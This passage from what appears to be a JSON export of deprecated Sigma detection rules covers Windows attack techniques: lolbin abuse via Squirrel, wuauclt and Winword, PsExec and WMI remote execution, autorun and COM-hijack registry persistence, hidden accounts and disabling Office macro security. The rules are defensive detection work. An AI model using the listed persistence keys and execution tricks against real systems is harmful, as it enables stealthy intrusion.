"content": "title: Squirrel Lolbin\nid: fa4b21c9-0057-4493-b289-2556416ae4d7\nstatus: deprecated\ndescription: Detects Possible Squirrel Packages Manager as Lolbin\nreferences:\n - http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/\n - http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/\nauthor: Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community\ndate: 2019/11/12\nmodified: 2023/02/14\ntags:\n - attack.execution\n - attack.defense_evasion\n - attack.t1218\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n Image|endswith: '\\update.exe'\n selection2:\n CommandLine|contains:\n - '--processStart'\n - '--processStartAndWait'\n - '--createShortcut'\n filter_discord:\n CommandLine|contains|all:\n - 'C:\\Users\\'\n - '\\AppData\\Local\\Discord\\Update.exe'\n - ' --processStart'\n - 'Discord.exe'\n filter_github_desktop:\n CommandLine|contains|all:\n - 'C:\\Users\\'\n - '\\AppData\\Local\\GitHubDesktop\\Update.exe'\n - 'GitHubDesktop.exe'\n CommandLine|contains:\n - '--createShortcut'\n - '--processStartAndWait'\n filter_teams:\n CommandLine|contains|all:\n - 'C:\\Users\\'\n - '\\AppData\\Local\\Microsoft\\Teams\\Update.exe'\n - 'Teams.exe'\n CommandLine|contains:\n - '--processStart'\n - '--createShortcut'\n condition: all of selection* and not 1 of filter_*\nfalsepositives:\n - 1Clipboard\n - Beaker Browser\n - Caret\n - Collectie\n - Discord\n - Figma\n - Flow\n - Ghost\n - GitHub Desktop\n - GitKraken\n - Hyper\n - Insomnia\n - JIBO\n - Kap\n - Kitematic\n - Now Desktop\n - Postman\n - PostmanCanary\n - Rambox\n - Simplenote\n - Skype\n - Slack\n - SourceTree\n - Stride\n - Svgsus\n - WebTorrent\n - WhatsApp\n - WordPress.com\n - Atom\n - Gitkraken\n - Slack\n - Teams\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_sysinternals_psexec_service_execution.yml",
"content": "title: PsExec Tool Execution\nid: fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba\nrelated:\n - id: 42c575ea-e41e-41f1-b248-8093c3e82a28\n type: derived\nstatus: deprecated\ndescription: Detects PsExec service execution via default service image name\nreferences:\n - https://www.jpcert.or.jp/english/pub/sr/ir_research.html\n - https://jpcertcc.github.io/ToolAnalysisResultSheet\nauthor: Thomas Patzke\ndate: 2017/06/12\nmodified: 2023/02/28\ntags:\n - attack.execution\n - attack.t1569.002\n - attack.s0029\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith: '\\PSEXESVC.exe'\n User|contains: # covers many language settings\n - 'AUTHORI'\n - 'AUTORI'\n condition: selection\nfields:\n - EventID\n - CommandLine\n - ParentCommandLine\n - ServiceName\n - ServiceFileName\n - TargetFilename\n - PipeName\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_sysinternals_psexesvc_start.yml",
"content": "title: PsExec Service Start\nid: 3ede524d-21cc-472d-a3ce-d21b568d8db7\nstatus: deprecated\ndescription: Detects a PsExec service start\nauthor: Florian Roth (Nextron Systems)\ndate: 2018/03/13\nmodified: 2023/02/28\ntags:\n - attack.execution\n - attack.s0029\n - attack.t1569.002\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine: C:\\Windows\\PSEXESVC.exe\n condition: selection\nfalsepositives:\n - Administrative activity\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_whoami_as_system.yml",
"content": "title: Run Whoami as SYSTEM\nid: 80167ada-7a12-41ed-b8e9-aa47195c66a1\nstatus: deprecated\ndescription: Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.\nreferences:\n - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\nauthor: Teymur Kheirkhabarov, Florian Roth\ndate: 2019/10/23\nmodified: 2023/02/28\ntags:\n - attack.privilege_escalation\n - attack.discovery\n - attack.t1033\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_user:\n User|contains: # covers many language settings\n - 'AUTHORI'\n - 'AUTORI'\n selection_img:\n - OriginalFileName: 'whoami.exe'\n - Image|endswith: '\\whoami.exe'\n condition: all of selection*\nfalsepositives:\n - Possible name overlap with NT AUHTORITY substring to cover all languages\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_whoami_execution.yml",
"content": "title: Whoami Utility Execution\nid: e28a5a99-da44-436d-b7a0-2afc20a5f413\nstatus: deprecated # Deprecated in favor of 502b42de-4306-40b4-9596-6f590c81f073\ndescription: Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation\nreferences:\n - https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/\n - https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-08-13\nmodified: 2025-10-20\ntags:\n - attack.discovery\n - attack.t1033\n - car.2016-03-001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n - Image|endswith: '\\whoami.exe'\n - OriginalFileName: 'whoami.exe'\n condition: selection\nfalsepositives:\n - Admin activity\n - Scripts and administrative tools used in the monitored environment\n - Monitoring activity\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_winword_dll_load.yml",
"content": "title: Winword.exe Loads Suspicious DLL\nid: 2621b3a6-3840-4810-ac14-a02426086171\nstatus: deprecated\ndescription: Detects Winword.exe loading a custom DLL using the /l flag\nauthor: Victor Sergeev, oscd.community\nreferences:\n - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/\ndate: 2020/10/09\nmodified: 2022/07/25\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith: '\\winword.exe'\n CommandLine|contains: '/l'\n condition: selection\nfields:\n - CommandLine\nfalsepositives:\n - Unknown\nlevel: medium\ntags:\n - attack.defense_evasion\n - attack.t1202\n"
},
{
"path": "deprecated/windows/proc_creation_win_wmic_execution_via_office_process.yml",
"content": "title: WMI Execution Via Office Process\nid: 518643ba-7d9c-4fa5-9f37-baed36059f6a\nrelated:\n - id: e1693bc8-7168-4eab-8718-cdcaa68a1738\n type: derived\n - id: 438025f9-5856-4663-83f7-52f878a70a50\n type: similar\nstatus: deprecated\ndescription: Initial execution of malicious document calls wmic to execute the file with regsvr32\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/\n - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml\nauthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)\ndate: 2021/08/23\nmodified: 2023/02/04\ntags:\n - attack.t1204.002\n - attack.t1047\n - attack.t1218.010\n - attack.execution\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection_img:\n - Image|endswith: '\\wbem\\WMIC.exe'\n - OriginalFileName: 'wmic.exe'\n selection_parent:\n ParentImage|endswith:\n - '\\winword.exe'\n - '\\excel.exe'\n - '\\powerpnt.exe'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_wmic_remote_command.yml",
"content": "title: WMI Remote Command Execution\nid: e42af9df-d90b-4306-b7fb-05c863847ebd\nstatus: deprecated\ndescription: An adversary might use WMI to execute commands on a remote system\nreferences:\n - https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/\n - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic\nauthor: frack113\ndate: 2022/03/13\nmodified: 2023/02/14\ntags:\n - attack.execution\n - attack.t1047\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\WMIC.exe'\n - OriginalFileName: 'wmic.exe'\n selection_cli:\n CommandLine|contains|all:\n - '/node:'\n - 'process'\n - 'call'\n - 'create'\n condition: all of selection*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_wmic_remote_service.yml",
"content": "title: WMI Reconnaissance List Remote Services\nid: 09af397b-c5eb-4811-b2bb-08b3de464ebf\nstatus: deprecated\ndescription: |\n An adversary might use WMI to check if a certain Remote Service is running on a remote device.\n When the test completes, a service information will be displayed on the screen if it exists.\n A common feedback message is that \"No instance(s) Available\" if the service queried is not running.\n A common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md\n - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic\nauthor: frack113\ndate: 2022/01/01\nmodified: 2023/02/14\ntags:\n - attack.execution\n - attack.t1047\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\WMIC.exe'\n - OriginalFileName: 'wmic.exe'\n selection_cli:\n CommandLine|contains|all:\n - '/node:'\n - 'service'\n condition: all of selection*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_wuauclt_execution.yml",
"content": "title: Windows Update Client LOLBIN\nid: d7825193-b70a-48a4-b992-8b5b3015cc11\nstatus: deprecated\ndescription: Detects code execution via the Windows Update client (wuauclt)\nreferences:\n - https://dtm.uk/wuauclt/\nauthor: FPT.EagleEye Team\ndate: 2020/10/17\nmodified: 2023/11/11\ntags:\n - attack.command_and_control\n - attack.defense_evasion\n - attack.t1105\n - attack.t1218\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection_img:\n - Image|endswith: '\\wuauclt.exe'\n - OriginalFileName: 'wuauclt.exe'\n selection_cli:\n CommandLine|contains|all:\n - '/UpdateDeploymentProvider'\n - '/RunHandlerComServer'\n - '.dll'\n filter:\n CommandLine|contains:\n - ' /ClassId '\n - ' wuaueng.dll '\n condition: all of selection* and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/process_creation_syncappvpublishingserver_exe.yml",
"content": "title: SyncAppvPublishingServer Execution to Bypass Powershell Restriction\nid: fde7929d-8beb-4a4c-b922-be9974671667\ndescription: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.\nreferences:\n - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/\nauthor: 'Ensar Şamil, @sblmsrsn, OSCD Community'\ndate: 2020/10/05\nmodified: 2022/04/11\ntags:\n - attack.defense_evasion\n - attack.t1218\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection:\n Image|endswith: '\\SyncAppvPublishingServer.exe'\n condition: selection\nfalsepositives:\n - App-V clients\nlevel: medium\nstatus: deprecated"
},
{
"path": "deprecated/windows/registry_add_sysinternals_sdelete_registry_keys.yml",
"content": "title: Sysinternals SDelete Registry Keys\nid: 9841b233-8df8-4ad7-9133-b0b4402a9014\nstatus: deprecated\ndescription: A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.\nreferences:\n - https://github.com/OTRF/detection-hackathon-apt29/issues/9\n - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.md\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)\ndate: 2020/05/02\nmodified: 2023/02/07\ntags:\n - attack.defense_evasion\n - attack.t1070.004\nlogsource:\n product: windows\n category: registry_add\ndetection:\n selection:\n EventType: CreateKey\n TargetObject|contains: '\\Software\\Sysinternals\\SDelete'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/registry_event_asep_reg_keys_modification.yml",
"content": "title: Autorun Keys Modification\nid: 17f878b8-9968-4578-b814-c4217fc5768c\ndescription: Detects modification of autostart extensibility point (ASEP) in registry.\nstatus: deprecated\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md\n - https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns\n - https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d # a list with registry keys\ndate: 2019/10/25\nmodified: 2022/05/14\nauthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton\nlogsource:\n category: registry_event\n product: windows\nlevel: medium\ndetection:\n main_selection:\n TargetObject|contains:\n - '\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows CE Services\\AutoStart'\n - '\\Software\\Wow6432Node\\Microsoft\\Command Processor\\Autorun'\n - '\\SOFTWARE\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components'\n - '\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect'\n - '\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect'\n - '\\SYSTEM\\Setup\\CmdLine'\n - '\\Software\\Microsoft\\Ctf\\LangBarAddin'\n - '\\Software\\Microsoft\\Command Processor\\Autorun'\n - '\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'\n - '\\SOFTWARE\\Classes\\Protocols\\Handler'\n - '\\SOFTWARE\\Classes\\Protocols\\Filter'\n - '\\SOFTWARE\\Classes\\Htmlfile\\Shell\\Open\\Command\\(Default)'\n - '\\Environment\\UserInitMprLogonScript'\n - '\\SOFTWARE\\Policies\\Microsoft\\Windows\\Control Panel\\Desktop\\Scrnsave.exe'\n - '\\Software\\Microsoft\\Internet Explorer\\UrlSearchHooks'\n - '\\SOFTWARE\\Microsoft\\Internet Explorer\\Desktop\\Components'\n - '\\Software\\Classes\\Clsid\\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\\Inprocserver32'\n - '\\Control Panel\\Desktop\\Scrnsave.exe'\n session_manager_base:\n TargetObject|contains: '\\System\\CurrentControlSet\\Control\\Session Manager'\n session_manager:\n TargetObject|contains:\n - '\\SetupExecute'\n - '\\S0InitialCommand'\n - '\\KnownDlls'\n - '\\Execute'\n - '\\BootExecute'\n - '\\AppCertDlls'\n current_version_base:\n TargetObject|contains: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion'\n current_version:\n TargetObject|contains:\n - '\\ShellServiceObjectDelayLoad'\n - '\\Run'\n - '\\Policies\\System\\Shell'\n - '\\Policies\\Explorer\\Run'\n - '\\Group Policy\\Scripts\\Startup'\n - '\\Group Policy\\Scripts\\Shutdown'\n - '\\Group Policy\\Scripts\\Logon'\n - '\\Group Policy\\Scripts\\Logoff'\n - '\\Explorer\\ShellServiceObjects'\n - '\\Explorer\\ShellIconOverlayIdentifiers'\n - '\\Explorer\\ShellExecuteHooks'\n - '\\Explorer\\SharedTaskScheduler'\n - '\\Explorer\\Browser Helper Objects'\n - '\\Authentication\\PLAP Providers'\n - '\\Authentication\\Credential Providers'\n - '\\Authentication\\Credential Provider Filters'\n nt_current_version_base:\n TargetObject|contains: '\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'\n nt_current_version:\n TargetObject|contains:\n - '\\Winlogon\\VmApplet'\n - '\\Winlogon\\Userinit'\n - '\\Winlogon\\Taskman'\n - '\\Winlogon\\Shell'\n - '\\Winlogon\\GpExtensions'\n - '\\Winlogon\\AppSetup'\n - '\\Winlogon\\AlternateShells\\AvailableShells'\n - '\\Windows\\IconServiceLib'\n - '\\Windows\\Appinit_Dlls'\n - '\\Image File Execution Options'\n - '\\Font Drivers'\n - '\\Drivers32'\n - '\\Windows\\Run'\n - '\\Windows\\Load'\n wow_current_version_base:\n TargetObject|contains: '\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion'\n wow_current_version:\n TargetObject|contains:\n - '\\ShellServiceObjectDelayLoad'\n - '\\Run'\n - '\\Explorer\\ShellServiceObjects'\n - '\\Explorer\\ShellIconOverlayIdentifiers'\n - '\\Explorer\\ShellExecuteHooks'\n - '\\Explorer\\SharedTaskScheduler'\n - '\\Explorer\\Browser Helper Objects'\n wow_nt_current_version_base:\n TargetObject|contains: '\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion'\n wow_nt_current_version:\n TargetObject|contains:\n - '\\Windows\\Appinit_Dlls'\n - '\\Image File Execution Options'\n - '\\Drivers32'\n wow_office:\n TargetObject|contains: '\\Software\\Wow6432Node\\Microsoft\\Office'\n office:\n TargetObject|contains: '\\Software\\Microsoft\\Office'\n wow_office_details:\n TargetObject|contains:\n - '\\Word\\Addins'\n - '\\PowerPoint\\Addins'\n - '\\Outlook\\Addins'\n - '\\Onenote\\Addins'\n - '\\Excel\\Addins'\n - '\\Access\\Addins'\n - 'test\\Special\\Perf'\n wow_ie:\n TargetObject|contains: '\\Software\\Wow6432Node\\Microsoft\\Internet Explorer'\n ie:\n TargetObject|contains: '\\Software\\Microsoft\\Internet Explorer'\n wow_ie_details:\n TargetObject|contains:\n - '\\Toolbar'\n - '\\Extensions'\n - '\\Explorer Bars'\n wow_classes_base:\n TargetObject|contains: '\\Software\\Wow6432Node\\Classes'\n wow_classes:\n TargetObject|contains:\n - '\\Folder\\ShellEx\\ExtShellFolderViews'\n - '\\Folder\\ShellEx\\DragDropHandlers'\n - '\\Folder\\ShellEx\\ColumnHandlers'\n - '\\Directory\\Shellex\\DragDropHandlers'\n - '\\Directory\\Shellex\\CopyHookHandlers'\n - '\\CLSID\\{AC757296-3522-4E11-9862-C17BE5A1767E}\\Instance'\n - '\\CLSID\\{ABE3B9A4-257D-4B97-BD1A-294AF496222E}\\Instance'\n - '\\CLSID\\{7ED96837-96F0-4812-B211-F13C24117ED3}\\Instance'\n - '\\CLSID\\{083863F1-70DE-11d0-BD40-00A0C911CE86}\\Instance'\n - '\\AllFileSystemObjects\\ShellEx\\DragDropHandlers'\n - '\\ShellEx\\PropertySheetHandlers'\n - '\\ShellEx\\ContextMenuHandlers'\n classes_base:\n TargetObject|contains: '\\Software\\Classes'\n classes:\n TargetObject|contains:\n - '\\Folder\\ShellEx\\ExtShellFolderViews'\n - '\\Folder\\ShellEx\\DragDropHandlers'\n - '\\Folder\\Shellex\\ColumnHandlers'\n - '\\Filter'\n - '\\Exefile\\Shell\\Open\\Command\\(Default)'\n - '\\Directory\\Shellex\\DragDropHandlers'\n - '\\Directory\\Shellex\\CopyHookHandlers'\n - '\\CLSID\\{AC757296-3522-4E11-9862-C17BE5A1767E}\\Instance'\n - '\\CLSID\\{ABE3B9A4-257D-4B97-BD1A-294AF496222E}\\Instance'\n - '\\CLSID\\{7ED96837-96F0-4812-B211-F13C24117ED3}\\Instance'\n - '\\CLSID\\{083863F1-70DE-11d0-BD40-00A0C911CE86}\\Instance'\n - '\\Classes\\AllFileSystemObjects\\ShellEx\\DragDropHandlers'\n - '\\.exe'\n - '\\.cmd'\n - '\\ShellEx\\PropertySheetHandlers'\n - '\\ShellEx\\ContextMenuHandlers'\n scripts_base:\n TargetObject|contains: '\\Software\\Policies\\Microsoft\\Windows\\System\\Scripts'\n scripts:\n TargetObject|contains:\n - '\\Startup'\n - '\\Shutdown'\n - '\\Logon'\n - '\\Logoff'\n winsock_parameters_base:\n TargetObject|contains: '\\System\\CurrentControlSet\\Services\\WinSock2\\Parameters'\n winsock_parameters:\n TargetObject|contains:\n - '\\Protocol_Catalog9\\Catalog_Entries'\n - '\\NameSpace_Catalog5\\Catalog_Entries'\n system_control_base:\n TargetObject|contains: '\\SYSTEM\\CurrentControlSet\\Control'\n system_control:\n TargetObject|contains:\n - '\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram'\n - '\\Terminal Server\\Wds\\rdpwd\\StartupPrograms'\n - '\\SecurityProviders\\SecurityProviders'\n - '\\SafeBoot\\AlternateShell'\n - '\\Print\\Providers'\n - '\\Print\\Monitors'\n - '\\NetworkProvider\\Order'\n - '\\Lsa\\Notification Packages'\n - '\\Lsa\\Authentication Packages'\n - '\\BootVerificationProgram\\ImagePath'\n filter:\n - Details: '(Empty)'\n - TargetObject|endswith: '\\NgcFirst\\ConsecutiveSwitchCount'\n - Image: 'C:\\WINDOWS\\System32\\svchost.exe'\n condition: ( main_selection or\n session_manager_base and session_manager or\n current_version_base and current_version or\n nt_current_version_base and nt_current_version or\n wow_current_version_base and wow_current_version or\n wow_nt_current_version_base and wow_nt_current_version or\n (wow_office or office) and wow_office_details or\n (wow_ie or ie) and wow_ie_details or\n wow_classes_base and wow_classes or\n classes_base and classes or\n scripts_base and scripts or\n winsock_parameters_base and winsock_parameters or\n system_control_base and system_control ) and not filter\nfields:\n - SecurityID\n - ObjectName\n - OldValueType\n - NewValueType\nfalsepositives:\n - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason\n - Legitimate administrator sets up autorun keys for legitimate reason\ntags:\n - attack.persistence\n - attack.t1547.001"
},
{
"path": "deprecated/windows/registry_set_abusing_windows_telemetry_for_persistence.yml",
"content": "title: Abusing Windows Telemetry For Persistence - Registry\nid: 4e8d5fd3-c959-441f-a941-f73d0cdcdca5\nstatus: deprecated\ndescription: |\n Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\n This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\n The problem is, it will run any arbitrary command without restriction of location or type.\nreferences:\n - https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/\nauthor: Sreeman\ndate: 2020/09/29\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.persistence\n - attack.t1112\n - attack.t1053\nlogsource:\n product: windows\n category: registry_set\ndetection:\n selection:\n TargetObject|contains: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\'\n Details|endswith:\n - '.sh'\n - '.exe'\n - '.dll'\n - '.bin'\n - '.bat'\n - '.cmd'\n - '.js'\n - '.ps'\n - '.vb'\n - '.jar'\n - '.hta'\n - '.msi'\n - '.vbs'\n condition: selection\nfields:\n - EventID\n - CommandLine\n - TargetObject\n - Details\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_add_hidden_user.yml",
"content": "title: User Account Hidden By Registry\nid: 8a58209c-7ae6-4027-afb0-307a78e4589a\nstatus: deprecated\ndescription: Detect modification for a specific user to prevent that user from being listed on the logon screen\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md\nauthor: frack113\ndate: 2022/08/20\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.t1564.002\nlogsource:\n product: windows\n category: registry_set\ndetection:\n selection:\n TargetObject|contains: '\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\\'\n TargetObject|endswith: '$'\n Details: DWORD (0x00000000)\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_creation_service_uncommon_folder.yml",
"content": "title: Service Binary in Uncommon Folder\nid: c625c4c2-515d-407f-8bb6-456f65955669\nstatus: deprecated\ndescription: Detect the creation of a service with a service binary located in a uncommon directory\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/05/02\nmodified: 2024/03/25\ntags:\n - attack.defense_evasion\n - attack.t1112\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection_1:\n TargetObject|startswith: 'HKLM\\System\\CurrentControlSet\\Services\\'\n TargetObject|endswith: '\\Start'\n Image|contains:\n - '\\AppData\\Local\\'\n - '\\AppData\\Roaming\\'\n Details:\n - 'DWORD (0x00000000)' # boot\n - 'DWORD (0x00000001)' # System\n - 'DWORD (0x00000002)' # Automatic\n # 3 - Manual , 4 - Disabled\n selection_2:\n TargetObject|startswith: 'HKLM\\System\\CurrentControlSet\\Services\\'\n TargetObject|endswith: '\\ImagePath'\n Details|contains:\n - '\\AppData\\Local\\'\n - '\\AppData\\Roaming\\'\n filter:\n - Image|contains:\n - '\\AppData\\Roaming\\Zoom'\n - '\\AppData\\Local\\Zoom'\n - Details|contains:\n - '\\AppData\\Roaming\\Zoom'\n - '\\AppData\\Local\\Zoom'\n condition: 1 of selection_* and not filter\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/registry_set_disable_microsoft_office_security_features.yml",
"content": "title: Disable Microsoft Office Security Features\nid: 7c637634-c95d-4bbf-b26c-a82510874b34\nstatus: deprecated\ndescription: Disable Microsoft Office Security Features by registry\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md\n - https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n - https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/\nauthor: frack113\ndate: 2021/06/08\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.t1562.001\nlogsource:\n product: windows\n category: registry_set\n definition: key must be add to the sysmon configuration to works\n # Sysmon\n # \\VBAWarnings\n # \\DisableInternetFilesInPV\n # \\DisableUnsafeLocationsInPV\n # \\DisableAttachementsInPV\ndetection:\n selection:\n TargetObject|contains: '\\SOFTWARE\\Microsoft\\Office\\'\n TargetObject|endswith:\n - VBAWarnings\n - DisableInternetFilesInPV\n - DisableUnsafeLocationsInPV\n - DisableAttachementsInPV\n Details: 'DWORD (0x00000001)'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_malware_adwind.yml",
"content": "title: Adwind RAT / JRAT - Registry\nid: 42f0e038-767e-4b85-9d96-2c6335bad0b5\nrelated:\n - id: 1fac1481-2dbc-48b2-9096-753c49b4ec71\n type: derived\nstatus: deprecated\ndescription: Detects javaw.exe in AppData folder as used by Adwind / JRAT\nreferences:\n - https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100\n - https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf\nauthor: Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community\ndate: 2017/11/10\nmodified: 2024/03/26\ntags:\n - attack.execution\n - attack.t1059.005\n - attack.t1059.007\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection:\n TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n Details|startswith: '%AppData%\\Roaming\\Oracle\\bin\\'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_office_security.yml",
"content": "title: Office Security Settings Changed\nid: 9b894e57-033f-46cf-b7fa-a52804181973\nstatus: deprecated\ndescription: Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)\nreferences:\n - https://twitter.com/inversecos/status/1494174785621819397\n - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/\n - https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/\nauthor: Trent Liffick (@tliffick)\ndate: 2020/05/22\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.t1112\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection:\n TargetObject|endswith:\n - '\\Security\\Trusted Documents\\TrustRecords'\n - '\\Security\\AccessVBOM'\n - '\\Security\\VBAWarnings'\n condition: selection\nfalsepositives:\n - Valid Macros and/or internal documents\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_persistence_com_hijacking_susp_locations.yml",
"content": "title: Potential Persistence Via COM Hijacking From Suspicious Locations\nid: 3d968d17-ffa4-4bc0-bfdc-f139de76ce77\nrelated:\n - id: 790317c0-0a36-4a6a-a105-6e576bf99a14\n type: derived\nstatus: deprecated\ndescription: Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a suspicious or unusual location.\nreferences:\n - https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/07/28\nmodified: 2024/07/16\ntags:\n - attack.persistence\n - attack.t1546.015\nlogsource:\n category: registry_set\n product: windows\ndetection:\n selection:\n TargetObject|contains: '\\CLSID\\'\n TargetObject|endswith:\n - '\\InprocServer32\\(Default)'\n - '\\LocalServer32\\(Default)'\n Details|contains: # Add more suspicious paths and locations\n - '\\AppData\\Local\\Temp\\'\n - '\\Desktop\\'\n - '\\Downloads\\'\n - '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n - '\\System32\\spool\\drivers\\color\\' # as seen in the knotweed blog\n - '\\Users\\Public\\'\n - '\\Windows\\Temp\\'\n - '%appdata%'\n - '%temp%'\n - '%tmp%'\n condition: selection\nfalsepositives:\n - Probable legitimate applications. If you find these please add them to an exclusion list\nlevel: high\n"
},
{
"path": "deprecated/windows/registry_set_persistence_search_order.yml",
